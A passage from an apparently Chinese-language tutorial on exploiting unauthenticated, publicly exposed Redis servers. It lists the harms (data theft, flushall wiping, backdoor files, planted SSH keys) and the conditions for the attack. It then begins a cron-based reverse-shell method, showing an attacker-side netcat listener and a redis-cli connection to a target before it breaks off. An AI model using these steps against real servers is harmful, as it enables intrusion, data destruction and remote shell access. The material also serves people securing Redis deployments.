一、Redis是啥
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
二、漏洞危害
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,这样将会将 Redis 服务暴露到公网上。会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据、可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件、最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
三、利用条件
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
四、getshell方法(攻击机上也安装并启动redis)
Linux环境
方法一:利用cron计划任务执行命令反弹shell
限制条件:redis是以root权限运行时
首先在攻击机上监听6666端口
nc -lvp 6666
写入反弹shell
root@kali:~# redis-cli -h 192.168.1.103
192.168.1.10